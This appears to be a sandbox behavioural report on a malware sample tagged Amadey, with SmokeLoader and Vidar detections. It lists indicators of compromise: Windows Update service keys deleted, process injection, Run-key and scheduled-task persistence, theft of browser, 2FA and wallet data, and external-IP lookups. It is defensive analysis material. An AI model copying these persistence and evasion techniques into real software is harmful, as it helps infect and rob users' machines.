amadey | 2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

XandETC.exe

description	pid	process	target process
PID 2724 created 760	2724	XandETC.exe	Explorer.EXE
PID 2724 created 760	2724	XandETC.exe	Explorer.EXE
PID 2724 created 760	2724	XandETC.exe	Explorer.EXE
PID 2724 created 760	2724	XandETC.exe	Explorer.EXE
PID 2724 created 760	2724	XandETC.exe	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

105 3720 rundll32.exe
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
105	3720	rundll32.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

9B5.exeB9B.exe4349.exe3E94.exePlayer3.exebuild2.exeF736.exeB9B.exeF736.exe9B5.exePlayer3.exebuild2.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	9B5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	B9B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	4349.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	3E94.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	F736.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	B9B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	F736.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	9B5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 33 IoCs

Processes:

F736.exeF736.exeF736.exeF736.exe9B5.exeB9B.exe9B5.exeB9B.exe130E.exe9B5.exeB9B.exe300D.exebuild2.exe9B5.exebuild2.exebuild3.exeB9B.exe3E94.exe4349.exebuild2.exebuild3.exebuild2.exePlayer3.exePlayer3.exess31.exeXandETC.exebuild2.exebuild2.exebuild3.exemstsca.exe36C2.exe448E.exeupdater.exe

pid	process
3224	F736.exe
5024	F736.exe
2792	F736.exe
3188	F736.exe
4856	9B5.exe
2468	B9B.exe
2012	9B5.exe
3580	B9B.exe
1972	130E.exe
4788	9B5.exe
1808	B9B.exe
3516	300D.exe
1656	build2.exe
4156	9B5.exe
1860	build2.exe
3396	build3.exe
4060	B9B.exe
1700	3E94.exe
1616	4349.exe
4124	build2.exe
4880	build3.exe
4032	build2.exe
5028	Player3.exe
400	Player3.exe
5012	ss31.exe
2724	XandETC.exe
4768	build2.exe
2188	build2.exe
4792	build3.exe
4632	mstsca.exe
3220	36C2.exe
2240	448E.exe
1708	updater.exe

Loads dropped DLL 13 IoCs

Processes:

build2.exebuild2.exerundll32.exerundll32.exebuild2.exerundll32.exerundll32.exerundll32.exe

pid	process
1860	build2.exe
1860	build2.exe
4768	build2.exe
4768	build2.exe
3720	rundll32.exe
3720	rundll32.exe
3600	rundll32.exe
3600	rundll32.exe
2188	build2.exe
2188	build2.exe
1948	rundll32.exe
4748	rundll32.exe
4988	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3096 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3096	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

F736.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\565f252b-72c3-4545-849c-5c0c74cacbc2\\F736.exe\" --AutoStart"	F736.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

54 api.2ip.ua
55 api.2ip.ua
32 api.2ip.ua
33 api.2ip.ua
40 api.2ip.ua
46 api.2ip.ua
47 api.2ip.ua

flow	ioc
54	api.2ip.ua
55	api.2ip.ua
32	api.2ip.ua
33	api.2ip.ua
40	api.2ip.ua
46	api.2ip.ua
47	api.2ip.ua

Suspicious use of SetThreadContext 14 IoCs

Processes:

F736.exeF736.exe9B5.exeB9B.exe9B5.exebuild2.exeB9B.exebuild2.exebuild2.exerundll32.exe

description	pid	process	target process
PID 3224 set thread context of 5024	3224	F736.exe	F736.exe
PID 2792 set thread context of 3188	2792	F736.exe	F736.exe
PID 4856 set thread context of 2012	4856	9B5.exe	9B5.exe
PID 2468 set thread context of 3580	2468	B9B.exe	B9B.exe
PID 4788 set thread context of 4156	4788	9B5.exe	9B5.exe
PID 1656 set thread context of 1860	1656	build2.exe	build2.exe
PID 1808 set thread context of 4060	1808	B9B.exe	B9B.exe
PID 4124 set thread context of 4768	4124	build2.exe	build2.exe
PID 4032 set thread context of 2188	4032	build2.exe	build2.exe
PID 3600 set thread context of 1540	3600	rundll32.exe	rundll32.exe
PID 3600 set thread context of 3836	3600	rundll32.exe	rundll32.exe
PID 3600 set thread context of 5000	3600	rundll32.exe	rundll32.exe
PID 3600 set thread context of 1864	3600	rundll32.exe	rundll32.exe
PID 3600 set thread context of 476	3600	rundll32.exe	rundll32.exe

Drops file in Program Files directory 1 IoCs

Processes:

XandETC.exe

description ioc process

File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

412 sc.exe
1948 sc.exe
2244 sc.exe
2904 sc.exe
880 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

pid	process
412	sc.exe
1948	sc.exe
2244	sc.exe
2904	sc.exe
880	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5000	1972	WerFault.exe	130E.exe
2416	1700	WerFault.exe	3E94.exe
4000	3220	WerFault.exe	36C2.exe
2232	2240	WerFault.exe	448E.exe
3932	4748	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe300D.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	300D.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	300D.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	300D.exe

Checks processor information in registry 2 TTPs 47 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

rundll32.exebuild2.exerundll32.exebuild2.exebuild2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2836 schtasks.exe
4864 schtasks.exe
4352 schtasks.exe
3608 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

4064 timeout.exe
1824 timeout.exe
1804 timeout.exe

pid	process
2836	schtasks.exe
4864	schtasks.exe
4352	schtasks.exe
3608	schtasks.exe

pid	process
4064	timeout.exe
1824	timeout.exe
1804	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE

Modifies registry class 57 IoCs

Processes:

Explorer.EXErundll32.exerundll32.exerundll32.exerundll32.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000008156ebbe100054656d7000003a0009000400efbe55564a168156ebbe2e00000000000000000000000000000000000000000000000000242b2900540065006d007000000014000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

760 Explorer.EXE

pid	process
760	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exeExplorer.EXE

pid	process
2744	2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
2744	2433be5583730e4f41391d8248c9f214d81775279441e2f23ff78efa71b27405.exe
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
760	Explorer.EXE
